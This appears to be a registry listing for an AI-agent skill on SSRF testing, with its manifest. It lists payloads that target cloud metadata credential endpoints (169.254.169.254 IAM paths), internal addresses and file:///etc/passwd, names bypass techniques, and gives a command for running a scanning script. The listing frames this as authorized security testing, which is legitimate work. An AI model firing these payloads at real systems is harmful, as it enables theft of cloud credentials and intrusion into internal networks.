Name: performing-ssrf-vulnerability-exploitation
Author: aibot88

About

Imported from aibot88/sec_skill_store (skills/claudskills/performing-ssrf-vulnerability-exploitation/SKILL.md). Install upstream with npx skills add aibot88/sec_skill_store --skill performing-ssrf-vulnerability-exploitation. Copyright stays with the author (Apache-2.0).

When to Use

When conducting security assessments that involve performing ssrf vulnerability exploitation
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Familiarity with security operations concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Instructions

Install dependencies: pip install requests
Identify URL parameters in the target application that accept URLs or hostnames.
Test SSRF payloads:
- Cloud metadata: http://169.254.169.254/latest/meta-data/
- Internal services: http://127.0.0.1:port/, http://10.0.0.1/
- Protocol handlers: file:///etc/passwd, gopher://, dict://
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
Analyze responses for information disclosure or internal access confirmation.
Generate a vulnerability assessment report.

# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

Examples

AWS Metadata SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.

Use it

Copy one of these into your project. Installing also returns the manifest and these snippets.

yaml

targets:
  - https://api.opensmartroute.ai/api/v1/registry/aibot88-sec-skill-store-performing-ssrf-vulnerability-ex-8f918e/manifest   # or paste the manifest below

Manifest

An Open Capability Manifest: the router reads it to know what this does, what it costs and when to pick it.

aibot88-sec-skill-store-performing-ssrf-vulnerability-ex-8f918e.ocm.jsonjson

{
  "ocm": "1",
  "id": "aibot88-sec-skill-store-performing-ssrf-vulnerability-ex-8f918e",
  "kind": "skill",
  "name": "performing-ssrf-vulnerability-exploitation",
  "description": "Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection.",
  "publisher": "aibot88",
  "version": "1.0.0",
  "capabilities": {
    "domains": [
      "coding"
    ],
    "tags": [
      "skill-md",
      "performing",
      "ssrf",
      "vulnerability",
      "exploitation",
      "github"
    ],
    "languages": [
      "en"
    ]
  },
  "quality_prior": 0.6,
  "examples": [
    "Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection."
  ],
  "primary": false,
  "metadata": {
    "source": {
      "provider": "github",
      "repository": "https://github.com/aibot88/sec_skill_store",
      "path": "skills/claudskills/performing-ssrf-vulnerability-exploitation/SKILL.md",
      "ref": "608120788167d56f99e31449e411e603ed250dc6",
      "url": "https://github.com/aibot88/sec_skill_store/blob/608120788167d56f99e31449e411e603ed250dc6/skills/claudskills/performing-ssrf-vulnerability-exploitation/SKILL.md",
      "key": "aibot88/sec_skill_store/skills/claudskills/performing-ssrf-vulnerability-exploitation/SKILL.md"
    },
    "license": "Apache-2.0"
  },
  "instructions": "## When to Use\n\n- When conducting security assessments that involve performing ssrf vulnerability exploitation\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with security operations concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\n1. Install dependencies: `pi",
  "cost": {
    "context_tokens": 383
  }
}

Fetch it by URL: GET /api/v1/registry/aibot88-sec-skill-store-performing-ssrf-vulnerability-ex-8f918e/manifest?version=1.0.0

Reviews

Star ratings from people who tried it. One review per account; edit yours any time.

No reviews yet. Install it, try it, and be the first to rate it.